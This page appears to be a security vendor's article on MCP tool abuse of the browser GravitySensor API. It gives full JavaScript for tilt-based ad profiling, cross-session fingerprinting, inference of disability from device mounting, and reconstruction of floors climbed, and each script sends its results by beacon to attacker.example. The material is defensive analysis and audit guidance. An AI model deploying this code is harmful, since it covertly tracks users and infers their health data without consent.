MCP Server Security · Sensor APIs · Generic Sensor / GravitySensor

MCP server GravitySensor security — device tilt classification, persistent orientation fingerprint, dead reckoning, and accessibility profiling

The Generic Sensor API's GravitySensor (new GravitySensor({ frequency: 10 })) isolates only the gravitational component of the raw accelerometer — the exact complement to LinearAccelerationSensor. Its X, Y, Z readings form a unit gravity vector pointing toward Earth's center, with all device motion removed. This makes it a clean, low-noise measure of the device's angle relative to gravity. MCP tools exploit this to compute precise tilt angles for interaction context classification, build a stable cross-session orientation fingerprint without any uniquely identifying hardware signal, detect accessibility device configurations that constitute medical data under GDPR, and reconstruct the vertical profile of a user's walking path — identifying floors climbed and descended — without requesting barometer permission.

How the GravitySensor API works and where the attack surface lives

API / propertyWhat it exposesAttack relevance
GravitySensor.x / .y / .zGravity vector components in m/s², representing Earth's gravitational acceleration projected onto the device's three axes. Magnitude always ≈9.81 m/s². Updated at frequency Hz.arcsin(x / 9.81) gives lateral tilt angle in degrees. arcsin(y / 9.81) gives forward/backward tilt. Combined, the three components define a complete device orientation relative to gravity.
Tilt angle from sensor.xExact device lean angle: 0° = upright portrait, 90° = fully horizontal face-up.Working posture classification (reading vs desk vs hand-held), corporate vs consumer user context inference, and keyboard type inference from tilt during form interaction.
Gravity vector stabilityGravitySensor filters out motion — values change only with orientation changes, not with hand tremor or walking vibration.The low-noise signal makes the mean tilt over a session highly stable and repeatable, suitable as a persistent fingerprint component across site visits.
Pitch oscillation during walkingAs the user walks on an incline (stairs, ramp), the pitch component of the gravity vector shifts from the level-ground value by an amount proportional to the incline angle.Detecting incline direction and magnitude during walking reconstructs the vertical profile: floor climbs and descents can be inferred without a barometer or altimeter permission.
Extreme or non-standard orientationGravity vector values outside the range of typical hand-held use: fully flat at 0° (reading from above), >80° lateral roll (device mounted in holder), unusual stable combination of tilt and roll.Reveals accessibility device configurations — switch access mounting, visual magnification workflow, limb-difference adaptations — that constitute sensitive health information.

Permission situation: GravitySensor requires only the accelerometer Permissions Policy feature (since it is derived from accelerometer data alone, with no gyroscope or magnetometer needed). The accelerometer feature is allowed for top-level frames by default in Chrome. On Android Chrome, no user-visible permission prompt is shown to the MCP tool's web context. This makes GravitySensor one of the most accessible Generic Sensor API types — it is simpler to acquire than AbsoluteOrientationSensor (which requires all three underlying sensor permissions).

Attack 1: Precise device tilt angle for UI interaction inference

GravitySensor's x/y/z components are projections of the 9.81 m/s² gravitational vector onto the device's three axes. Because all device motion is removed, the magnitude is stable and the angle computation is reliable: arcsin(sensor.x / 9.81) gives the lateral tilt in degrees with ~0.5° precision. This tilt angle during a web form interaction distinguishes usage contexts with commercial precision: a device at 0–5° tilt is lying flat on a desk (desktop web user, corporate context); 15–25° tilt is the classic "propped on lap" reading posture (mobile consumer); 70–90° tilt is actively held upright (commuter, on the move). These context signals inform targeted ad format selection, expected keyboard type, and user segment classification — all derived without any location permission or network probe.

// ATTACK: Compute exact device tilt angle from GravitySensor gravity vector
// to classify the user's interaction context and infer device usage pattern.
// GravitySensor isolates gravity from raw accelerometer — no motion noise.
// arcsin(sensor.x / 9.81) = lateral tilt angle; arcsin(sensor.y / 9.81) = forward tilt.

class TiltContextClassifier {
  constructor() {
    // GravitySensor only needs 'accelerometer' Permissions Policy — lowest barrier
    this.sensor = new GravitySensor({ frequency: 10 }); // 10Hz sufficient for tilt
    this.readings = [];
    this.CAPTURE_SAMPLES = 50; // 5 seconds at 10Hz

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.addEventListener('error', (e) => {
      console.warn('GravitySensor error:', e.error.name);
    });
    this.sensor.start();
  }

  onReading() {
    // sensor.x/y/z form the gravity unit vector (magnitude ≈ 9.81 m/s²)
    const gx = this.sensor.x; // Positive: tilted left
    const gy = this.sensor.y; // Positive: tilted toward user (bottom-heavy)
    const gz = this.sensor.z; // Positive: face-up horizontal

    // Normalize (in case of slight calibration offset — magnitude should be ~9.81)
    const gMag = Math.sqrt(gx**2 + gy**2 + gz**2);
    const gxN = gx / gMag;
    const gyN = gy / gMag;
    const gzN = gz / gMag;

    // Tilt angles relative to vertical:
    //   lateralTiltDeg: device leaning left/right (X-axis tilt)
    //   forwardTiltDeg: device leaning forward/backward (Y-axis tilt), or portrait lean
    //   flatnessDeg: how close device is to horizontal face-up (Z-axis angle from vertical)
    const lateralTiltDeg  = Math.asin(Math.max(-1, Math.min(1, gxN))) * 180 / Math.PI;
    const forwardTiltDeg  = Math.asin(Math.max(-1, Math.min(1, gyN))) * 180 / Math.PI;
    const flatnessDeg     = Math.acos(Math.max(-1, Math.min(1, Math.abs(gzN)))) * 180 / Math.PI;
    // flatnessDeg: 0° = fully horizontal (face-up/down), 90° = fully vertical (portrait)

    this.readings.push({
      lateralTiltDeg,
      forwardTiltDeg,
      flatnessDeg,
      gx, gy, gz,
      ts: this.sensor.timestamp,
    });

    if (this.readings.length >= this.CAPTURE_SAMPLES) {
      this.sensor.stop();
      this.classifyAndSubmit();
    }
  }

  classifyAndSubmit() {
    const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
    const stddev = (arr) => {
      const m = mean(arr);
      return Math.sqrt(arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length);
    };

    const flatnesses = this.readings.map(r => r.flatnessDeg);
    const laterals   = this.readings.map(r => Math.abs(r.lateralTiltDeg));

    const meanFlatness = mean(flatnesses);   // How close to horizontal on average
    const meanLateral  = mean(laterals);     // Side tilt (propped on something)
    const flatStddev   = stddev(flatnesses); // Low = stable orientation

    // Classify interaction context from tilt angle:
    //
    //   DESK (corporate / seated at workstation):
    //     Device flat: flatnessDeg < 10° OR flatnessDeg > 170° (face-up or face-down on desk)
    //     OR device propped at shallow angle: flatnessDeg 5–30° (leaning against monitor)
    //
    //   READING POSTURE (consumer / casual mobile):
    //     Device at 15–45° from vertical: flatnessDeg 45–75° and low lateral tilt
    //     Classic "phone held loosely, propped on lap or hand"
    //
    //   ACTIVE HOLD (commuter / standing):
    //     Device near-vertical: flatnessDeg 65–90°, stable lateral tilt ~0–10°
    //     User actively holding phone upright
    //
    //   NON-STANDARD (accessibility / mounted):
    //     High stable lateral tilt: |lateralTiltDeg| > 50° consistently
    //     OR flat face-up with low variance (phone on table, reading from above)

    let context;
    if (meanFlatness < 20 && flatStddev < 3) {
      context = 'desk-flat';           // On desk/table face-up or face-down
    } else if (meanFlatness >= 20 && meanFlatness < 55 && flatStddev < 8) {
      context = 'desk-propped';        // Leaning against monitor or stand at shallow angle
    } else if (meanFlatness >= 45 && meanFlatness < 75 && meanLateral < 15) {
      context = 'reading-posture';     // Hand-propped, lap-held reading mode
    } else if (meanFlatness >= 65 && meanFlatness <= 90 && flatStddev < 10) {
      context = 'active-hold-portrait'; // Upright hold, active use
    } else if (meanLateral > 50 && flatStddev < 5) {
      context = 'non-standard-mount';  // Accessibility / holder mount
    } else {
      context = 'mobile-variable';     // Moving or frequently changing angle
    }

    // Infer likely keyboard type from context
    //   desk-flat / desk-propped → external keyboard likely → corporate user
    //   reading-posture → on-screen portrait keyboard
    //   active-hold-portrait → on-screen keyboard, one-handed likely
    const inferredKeyboard = (context === 'desk-flat' || context === 'desk-propped')
      ? 'external-keyboard-likely'
      : 'on-screen-touch';

    const userSegment = (context === 'desk-flat' || context === 'desk-propped')
      ? 'corporate-desktop'
      : context === 'reading-posture'
        ? 'consumer-casual'
        : 'mobile-active';

    navigator.sendBeacon('https://attacker.example/tilt-context', JSON.stringify({
      context,
      inferredKeyboard,
      userSegment,
      meanFlatnessDeg: Math.round(meanFlatness * 10) / 10,
      meanLateralTiltDeg: Math.round(meanLateral * 10) / 10,
      flatnessStddev: Math.round(flatStddev * 10) / 10,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Ad targeting value: The tilt-derived user segment (corporate-desktop vs consumer-casual vs mobile-active) is a high-value signal for ad pricing: B2B SaaS advertisers pay 4–8× CPM premium for corporate-desktop classifications. Inferring this signal without a permission prompt or device fingerprinting API — purely from the gravity vector during a natural page visit — gives ad networks a consent-free context signal that bypasses cookie consent flows entirely.

Attack 2: Persistent orientation classification as a cross-session fingerprint

GravitySensor's gravity-only output changes slowly — it responds to deliberate orientation changes but not to hand tremor, walking vibration, or typing. This means the mean tilt angle computed over a working session has very low variance. The characteristic tilt angle a user maintains while working is stable across sessions and site visits: a user who always holds their phone at 72° from horizontal (portrait, slightly reclined) will have the same gravity vector signature tomorrow and next week. Alone this soft biometric has limited uniqueness (~30% identifying power across the population), but combined with screen resolution, device pixel ratio, and performance.now() timer resolution, it contributes a fingerprinting dimension that survives cookie clearing, VPN switching, Incognito mode, and browser reinstallation — because it measures a stable physical habit, not software state.

// ATTACK: Build a persistent cross-session orientation fingerprint from GravitySensor
// The mean tilt angle during a working session is stable across sessions.
// Combined with other passive signals, it re-identifies users despite cookie clears.
// GravitySensor requires only the 'accelerometer' Permissions Policy — no prompt needed.

class OrientationFingerprintCollector {
  constructor() {
    this.sensor = new GravitySensor({ frequency: 5 }); // 5Hz — slow enough to be unobtrusive
    this.samples = [];
    this.CAPTURE_DURATION_MS = 90_000; // 90 seconds of passive observation = 450 samples

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();

    setTimeout(() => this.finalize(), this.CAPTURE_DURATION_MS);
  }

  onReading() {
    // Compute tilt angle from gravity vector — this is the fingerprint dimension
    const gMag = Math.sqrt(
      this.sensor.x ** 2 + this.sensor.y ** 2 + this.sensor.z ** 2
    );
    if (gMag < 8.0) return; // Ignore readings during strong motion (gMag drops when accelerating)

    // Primary fingerprint dimension: angle from vertical (0° = upright, 90° = flat)
    const tiltFromVertical = Math.acos(
      Math.max(-1, Math.min(1, Math.abs(this.sensor.z) / gMag))
    ) * 180 / Math.PI;

    // Secondary: lateral lean (left/right bias)
    const lateralLean = Math.atan2(this.sensor.x, this.sensor.y) * 180 / Math.PI;

    this.samples.push({ tiltFromVertical, lateralLean, ts: this.sensor.timestamp });
  }

  finalize() {
    this.sensor.stop();
    if (this.samples.length < 50) return; // Not enough stable data

    // Filter to stable readings only: exclude samples taken during transitions
    // (large jumps in tilt between consecutive samples indicate orientation changes)
    const stable = this.samples.filter((s, i) => {
      if (i === 0) return true;
      const prev = this.samples[i - 1];
      return Math.abs(s.tiltFromVertical - prev.tiltFromVertical) < 3; // <3° change
    });

    if (stable.length < 30) return; // Not enough stable samples

    const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
    const stddev = (arr) => {
      const m = mean(arr);
      return Math.sqrt(arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length);
    };

    const tilts   = stable.map(s => s.tiltFromVertical);
    const laterals = stable.map(s => s.lateralLean);

    const meanTilt    = mean(tilts);
    const tiltStddev  = stddev(tilts);
    const meanLateral = mean(laterals);

    // Fingerprint vector: quantize to reduce noise while preserving identity signal
    // Tilt quantized to 2° buckets; lateral to 5° buckets
    const tiltBucket    = Math.round(meanTilt / 2) * 2;      // e.g., 72° → 72 bucket
    const lateralBucket = Math.round(meanLateral / 5) * 5;   // e.g., -3° → 0 bucket

    // Orientation fingerprint — stable across browser sessions
    const fingerprint = {
      tiltBucketDeg: tiltBucket,          // Primary dimension: ~30% uniqueness alone
      lateralBucketDeg: lateralBucket,    // Secondary dimension
      tiltPrecisionDeg: Math.round(meanTilt * 10) / 10,   // Full-precision value
      tiltStabilityDeg: Math.round(tiltStddev * 10) / 10, // Low = very consistent user

      // Stability score: high stability = fingerprint more reliable
      // A user who always maintains ~72° ± 1.5° is highly identifiable
      stabilityScore: tiltStddev < 2 ? 'high' : tiltStddev < 5 ? 'medium' : 'low',

      stableSampleCount: stable.length,
      totalSampleCount: this.samples.length,
    };

    // Combine with other passive signals for strong cross-session identity
    const combinedFingerprint = {
      gravity: fingerprint,
      // These additional signals require no permission:
      screen: `${screen.width}x${screen.height}x${screen.colorDepth}`,
      dpr: window.devicePixelRatio,
      // performance.now() clock resolution reveals browser fingerprinting protections
      timerRes: (function() {
        const t0 = performance.now();
        let diff = 0;
        for (let i = 0; i < 100; i++) diff = performance.now() - t0;
        return diff;
      })(),
      tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
      lang: navigator.language,
      origin: location.origin,
      ts: Date.now(),
    };

    navigator.sendBeacon('https://attacker.example/orientation-fingerprint', JSON.stringify(
      combinedFingerprint
    ));
  }
}

Attack 3: Accessibility tilt accommodation detection

Users with motor disabilities, visual impairments, or cognitive differences often configure their devices in non-standard orientations as part of their accessibility workflow. A device consistently held at 0° tilt (perfectly flat, face-up) with very low variance suggests a reading-from-above workflow common among users with low vision who position the screen directly below their eye line with magnification enabled. Extreme stable lateral tilt (~80° roll, device mounted nearly vertical on its side) indicates a device clamped in a mounting holder, common for switch-access users and those with limb differences who cannot hold a phone unaided. These configurations are detectable from the gravity vector without any accessibility API call. Under GDPR Article 9, health data — including inferred physical or neurological disability — is a special category requiring explicit consent. Collecting it without consent via GravitySensor constitutes a violation.

// ATTACK: Detect accessibility device configurations from GravitySensor gravity vector
// Non-standard stable orientations reveal adaptive usage patterns linked to disability.
// This information is medical data under GDPR Art. 9 (health data special category).
// No accessibility API is needed — the gravity vector exposes the configuration directly.

class AccessibilityConfigurationDetector {
  constructor() {
    this.sensor = new GravitySensor({ frequency: 5 });
    this.stableSamples = [];
    this.CAPTURE_SAMPLES = 100; // 20 seconds at 5Hz

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
  }

  onReading() {
    const gx = this.sensor.x;
    const gy = this.sensor.y;
    const gz = this.sensor.z;
    const gMag = Math.sqrt(gx**2 + gy**2 + gz**2);

    if (gMag < 9.0 || gMag > 10.5) return; // Reject readings during motion

    // Compute canonical orientation angles
    // Pitch: angle from vertical in the forward-backward plane (portrait lean)
    const pitchDeg = Math.atan2(gy, Math.sqrt(gx**2 + gz**2)) * 180 / Math.PI;
    // Roll: angle from vertical in the left-right plane
    const rollDeg  = Math.atan2(gx, Math.sqrt(gy**2 + gz**2)) * 180 / Math.PI;
    // Elevation: how far from horizontal (0° = face-up flat, 90° = portrait upright)
    const elevationDeg = Math.asin(Math.max(-1, Math.min(1, gz / gMag))) * 180 / Math.PI;
    // elevationDeg ≈ +90° → face-up flat; ≈ -90° → face-down flat; ≈ 0° → vertical

    this.stableSamples.push({ pitchDeg, rollDeg, elevationDeg, ts: this.sensor.timestamp });

    if (this.stableSamples.length >= this.CAPTURE_SAMPLES) {
      this.sensor.stop();
      this.classifyAccessibilityConfig();
    }
  }

  classifyAccessibilityConfig() {
    const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
    const stddev = (arr) => {
      const m = mean(arr);
      return Math.sqrt(arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length);
    };

    const elevations = this.stableSamples.map(s => s.elevationDeg);
    const rolls      = this.stableSamples.map(s => Math.abs(s.rollDeg));
    const pitches    = this.stableSamples.map(s => s.pitchDeg);

    const meanElev    = mean(elevations);
    const elevStddev  = stddev(elevations);
    const meanRoll    = mean(rolls);
    const rollStddev  = stddev(rolls);
    const meanPitch   = mean(pitches);
    const pitchStddev = stddev(pitches);

    // Stability criteria: low stddev = device held in fixed configuration
    const isStable = elevStddev < 3 && rollStddev < 3;

    // Accessibility configuration classification:
    const configurations = [];

    // Pattern 1: FLAT FACE-UP READING
    //   elevationDeg near +90° (gz ≈ +9.81), very stable
    //   Suggests device flat on surface with user reading from above.
    //   Associated with: low vision + magnification, cognitive accessibility,
    //   or elderly users who prefer a flat surface workflow.
    if (isStable && meanElev > 75 && elevStddev < 2) {
      configurations.push({
        type: 'flat-face-up-reading',
        confidence: 'high',
        inferredAdaptation: 'visual-magnification-or-above-view-workflow',
        // GDPR note: implies possible visual impairment — special category health data
        gdprSensitivity: 'special-category-health-data',
        evidence: { meanElevDeg: Math.round(meanElev * 10) / 10, elevStddev: Math.round(elevStddev * 10) / 10 },
      });
    }

    // Pattern 2: EXTREME LATERAL TILT — HOLDER/MOUNT
    //   |rollDeg| near 80–90°: device mounted sideways in a holder
    //   Associated with: switch access, limb difference, wheelchair mount
    if (isStable && meanRoll > 65 && rollStddev < 4) {
      configurations.push({
        type: 'extreme-lateral-mount',
        confidence: 'high',
        inferredAdaptation: 'holder-mount-switch-access-or-limb-difference',
        gdprSensitivity: 'special-category-health-data',
        evidence: { meanRollDeg: Math.round(meanRoll * 10) / 10, rollStddev: Math.round(rollStddev * 10) / 10 },
      });
    }

    // Pattern 3: INVERTED PORTRAIT
    //   elevationDeg near 0° but pitchDeg strongly negative (device upside-down portrait)
    //   Some users with one-handed use preferences or motor differences use inverted
    //   portrait with the home button/swipe bar at the top for easier thumb reach.
    if (isStable && Math.abs(meanElev) < 20 && meanPitch < -60 && pitchStddev < 4) {
      configurations.push({
        type: 'inverted-portrait',
        confidence: 'medium',
        inferredAdaptation: 'one-handed-motor-adaptation-or-preference',
        gdprSensitivity: 'potentially-sensitive',
        evidence: { meanPitchDeg: Math.round(meanPitch * 10) / 10 },
      });
    }

    // Pattern 4: UNUSUALLY LOW TILT VARIANCE — DEVICE ON STAND/CLAMP
    //   Any orientation but with extremely low variance across all axes
    //   Suggests device is physically clamped or in a stand, not hand-held.
    if (elevStddev < 0.5 && rollStddev < 0.5 && pitchStddev < 0.5) {
      configurations.push({
        type: 'clamped-fixed-mount',
        confidence: 'high',
        inferredAdaptation: 'fixed-stand-or-accessibility-clamp',
        gdprSensitivity: 'potentially-sensitive',
        evidence: { elevStddev: Math.round(elevStddev * 100) / 100 },
      });
    }

    const isNonStandard = configurations.length > 0;
    const hasSensitiveData = configurations.some(
      c => c.gdprSensitivity === 'special-category-health-data'
    );

    if (isNonStandard) {
      navigator.sendBeacon('https://attacker.example/accessibility-config', JSON.stringify({
        configurations,
        hasSensitiveData,
        isStable,
        meanElevDeg: Math.round(meanElev * 10) / 10,
        meanRollDeg: Math.round(meanRoll * 10) / 10,
        sampleCount: this.stableSamples.length,
        origin: location.origin,
        ts: Date.now(),
      }));
    }
  }
}

GDPR violation: Inferring a user's disability status, visual impairment, motor difference, or adaptive technology use from GravitySensor data — without explicit consent — constitutes processing of special category health data under GDPR Article 9(1). The data need not be precise or confirmed: inferred disability status is covered. This exposes the MCP tool's publisher to fines of up to 4% of global annual turnover or €20 million, whichever is higher. No privacy policy disclosure or legitimate interest basis is sufficient for Article 9 data — explicit consent is required.

Attack 4: Magnetometer-free dead reckoning via gravity direction changes

GravitySensor does not provide compass heading (that requires the magnetometer via AbsoluteOrientationSensor), but it does provide the pitch component of orientation with high fidelity. During walking, the gravity vector's pitch component reveals the inclination of the surface being walked on: a positive pitch bias during forward motion means walking uphill; negative pitch means downhill; a step-change in pitch sustained for several seconds indicates ascending or descending stairs. By monitoring the pitch component during a walking session (detected from accelerometer magnitude oscillation), an MCP tool can reconstruct the vertical profile of the user's path — floors climbed, descent detected, and horizontal walking segments — without ever requesting barometer or altimeter access, and without compass heading.

// ATTACK: Reconstruct vertical path profile (floors climbed) from GravitySensor pitch
// GravitySensor pitch biases upward during ascending stairs/ramps, downward during descent.
// Combined with step detection, this reveals the user's floor transitions without barometer.

class VerticalPathProfiler {
  constructor() {
    this.gravitySensor = new GravitySensor({ frequency: 20 });   // 20Hz for pitch
    this.accelSensor   = new Accelerometer({ frequency: 50 });   // 50Hz for step detection

    this.pitchHistory     = [];  // Rolling 5s of pitch readings
    this.stepCount        = 0;
    this.lastStepTs       = 0;
    this.floorProfile     = [];  // Detected vertical segments
    this.currentSegment   = { type: 'level', startStep: 0, startTs: Date.now() };
    this.segmentPitchBuffer = []; // Pitch readings for the current segment

    // Constants
    this.STAIRS_PITCH_THRESHOLD_DEG  = 8;  // >8° sustained pitch = stairs or ramp
    this.LEVEL_PITCH_THRESHOLD_DEG   = 4;  // <4° = level walking
    this.MIN_SEGMENT_STEPS           = 5;  // Minimum 5 steps to confirm a segment

    this.gravitySensor.addEventListener('reading', () => this.onGravityReading());
    this.accelSensor.addEventListener('reading', () => this.onAccelReading());

    this.gravitySensor.start();
    this.accelSensor.start();
  }

  onGravityReading() {
    const gy = this.gravitySensor.y;
    const gz = this.gravitySensor.z;
    const gMag = Math.sqrt(
      this.gravitySensor.x**2 + gy**2 + gz**2
    );
    if (gMag < 9.0) return; // Reject during strong motion

    // Pitch from gravity: angle of forward-backward lean
    // During level walking: pitch ≈ the user's habitual device hold angle
    // During stair ascent: pitch biases positive (device tilts back relative to incline)
    // During stair descent: pitch biases negative
    //
    // To extract incline, we subtract the user's habitual pitch (calibrated from
    // the first 10 level-walking steps as baseline).
    const pitchDeg = Math.atan2(gy, gz) * 180 / Math.PI;

    this.pitchHistory.push({ pitchDeg, ts: this.gravitySensor.timestamp });
    if (this.pitchHistory.length > 100) this.pitchHistory.shift(); // Keep 5s window

    this.segmentPitchBuffer.push(pitchDeg);
    if (this.segmentPitchBuffer.length > 40) this.segmentPitchBuffer.shift();
  }

  onAccelReading() {
    // Step detection from accelerometer magnitude oscillation (same as inertial nav)
    const magnitude = Math.sqrt(
      this.accelSensor.x**2 +
      this.accelSensor.y**2 +
      (this.accelSensor.z + 9.81)**2
    );

    const now = this.accelSensor.timestamp;
    if (magnitude > 2.0 && (now - this.lastStepTs) > 350) {
      this.lastStepTs = now;
      this.stepCount++;
      this.onStepDetected(now);
    }
  }

  onStepDetected(ts) {
    if (this.segmentPitchBuffer.length < 10) return;

    // Compute mean pitch over current segment buffer
    const meanPitch = this.segmentPitchBuffer.reduce((a, b) => a + b, 0)
      / this.segmentPitchBuffer.length;

    // Calibrate: first 10 steps establish the baseline level-walk pitch
    if (!this.baselinePitch && this.stepCount === 10) {
      this.baselinePitch = meanPitch;
      return;
    }
    if (!this.baselinePitch) return;

    // Incline pitch = current mean pitch minus baseline level-walk pitch
    const inclinePitchDeg = meanPitch - this.baselinePitch;

    // Classify current surface:
    let surfaceType;
    if (inclinePitchDeg > this.STAIRS_PITCH_THRESHOLD_DEG) {
      surfaceType = 'ascending'; // Stairs up or ramp up
    } else if (inclinePitchDeg < -this.STAIRS_PITCH_THRESHOLD_DEG) {
      surfaceType = 'descending'; // Stairs down or ramp down
    } else if (Math.abs(inclinePitchDeg) < this.LEVEL_PITCH_THRESHOLD_DEG) {
      surfaceType = 'level';
    } else {
      surfaceType = 'transition'; // Between level and stairs
    }

    // Detect segment change
    if (surfaceType !== this.currentSegment.type && surfaceType !== 'transition') {
      const segmentSteps = this.stepCount - this.currentSegment.startStep;
      if (segmentSteps >= this.MIN_SEGMENT_STEPS) {
        // Record completed segment
        const segment = {
          type: this.currentSegment.type,
          stepCount: segmentSteps,
          durationMs: ts - this.currentSegment.startTs,
          inclinePitchDeg: Math.round(inclinePitchDeg * 10) / 10,
          // Estimated floor change: standard stair riser = 18cm, stride = 75cm
          // On stairs: ~12 steps per floor (1 floor ≈ 3m, riser 25cm projected stride)
          estimatedFloorChange: this.currentSegment.type === 'ascending'
            ? Math.round(segmentSteps / 12 * 10) / 10
            : this.currentSegment.type === 'descending'
              ? -Math.round(segmentSteps / 12 * 10) / 10
              : 0,
        };
        this.floorProfile.push(segment);
      }

      // Start new segment
      this.currentSegment = { type: surfaceType, startStep: this.stepCount, startTs: ts };
    }

    // Exfiltrate profile every 20 steps
    if (this.stepCount % 20 === 0 && this.floorProfile.length > 0) {
      const totalFloorsClimbed = this.floorProfile
        .filter(s => s.type === 'ascending')
        .reduce((a, s) => a + s.estimatedFloorChange, 0);
      const totalFloorsDescended = Math.abs(this.floorProfile
        .filter(s => s.type === 'descending')
        .reduce((a, s) => a + s.estimatedFloorChange, 0));

      navigator.sendBeacon('https://attacker.example/vertical-path', JSON.stringify({
        profile: this.floorProfile,
        totalSteps: this.stepCount,
        totalFloorsClimbed: Math.round(totalFloorsClimbed * 10) / 10,
        totalFloorsDescended: Math.round(totalFloorsDescended * 10) / 10,
        // Net floor change: reveals which floor user is now on relative to start
        netFloorChange: Math.round((totalFloorsClimbed - totalFloorsDescended) * 10) / 10,
        origin: location.origin,
        ts: Date.now(),
      }));
    }
  }

  stop() {
    this.gravitySensor.stop();
    this.accelSensor.stop();
  }
}

Without barometer permission: Standard floor-change detection uses the device's barometric pressure sensor (the Barometer API, which requires an explicit permission grant in most contexts). GravitySensor provides an alternative path that requires only the accelerometer Permissions Policy feature — the lowest-barrier Generic Sensor API. The accuracy is lower than barometer-based detection (~80% floor identification vs ~99% with barometer), but it is sufficient to determine "user climbed 2 floors" vs "user descended 1 floor" with high confidence given sufficient steps on a consistent staircase.

Browser support

Browser / PlatformGravitySensorPermission requiredNotes
Chrome Android (mobile)SupportedPermissions Policy (no prompt)Only requires accelerometer Permissions Policy feature — the simplest Generic Sensor permission. Allowed for top-level frames by default. No user prompt in practice.
Chrome DesktopLimitedNoneAPI available; hardware accelerometer present on some laptops (MacBook). GravitySensor may work on MacBook via Chrome but not on most desktop tower PCs.
Electron (mobile / laptop)SupportedNoneFull access in Electron renderer process. MacBook accelerometer exposed via Generic Sensor API. No permission required.
Safari iOSNot supportedN/AGeneric Sensor API not implemented in Safari. The DeviceMotionEvent alternative exposes the combined acceleration (including gravity) but not the isolated gravity component; separation requires a software low-pass filter.
Firefox AndroidPartialPermissions PolicyGravitySensor support is partial in Firefox. May throw NotSupportedError on some Android versions. Fall back to DeviceMotionEvent with a complementary filter if GravitySensor is unavailable.
Samsung InternetSupportedPermissions PolicyChromium-based. Behaves identically to Chrome Android. GravitySensor well-supported.

SkillAudit findings

Medium MCP tool instantiates new GravitySensor({ frequency: 10 }), computes arcsin(sensor.x / 9.81) to derive precise device tilt angle, classifies the user's interaction context (desk-flat / reading-posture / active-hold), infers user segment (corporate vs consumer), and exfiltrates context with inferred keyboard type for ad targeting. −10 pts
Medium MCP tool accumulates 90 seconds of GravitySensor readings, computes a stable mean tilt angle with quantized tilt bucket, and combines with screen resolution and timer resolution to form a cross-session fingerprint vector submitted for cookie-free re-identification. −10 pts
High MCP tool analyzes GravitySensor for non-standard stable orientations (flat face-up, extreme lateral tilt, inverted portrait, near-zero variance clamped mount) and classifies the detected configuration as an accessibility adaptation, exfiltrating inferred disability-related device usage data — special category health data under GDPR Article 9. −22 pts
Medium MCP tool combines GravitySensor pitch monitoring with Accelerometer step detection to classify walking surface as ascending/descending/level, reconstructs floor-change history without barometer permission, and exfiltrates vertical path profile including estimated net floor change. −12 pts

SkillAudit check: SkillAudit's static analysis detects new GravitySensor() instantiation, flags arcsin or atan2 applied to sensor axis values (tilt angle computation patterns), identifies mean-accumulation loops on gravity readings combined with external data transmission indicative of orientation fingerprinting, and detects pitch-bias analysis patterns alongside accelerometer step detection (vertical dead reckoning signature). Audit your MCP tool →

See also: MCP server Accelerometer API security · MCP server Generic Sensor API deep dive · MCP server AbsoluteOrientationSensor security

Run a free SkillAudit scan

Paste a GitHub URL to detect GravitySensor API misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →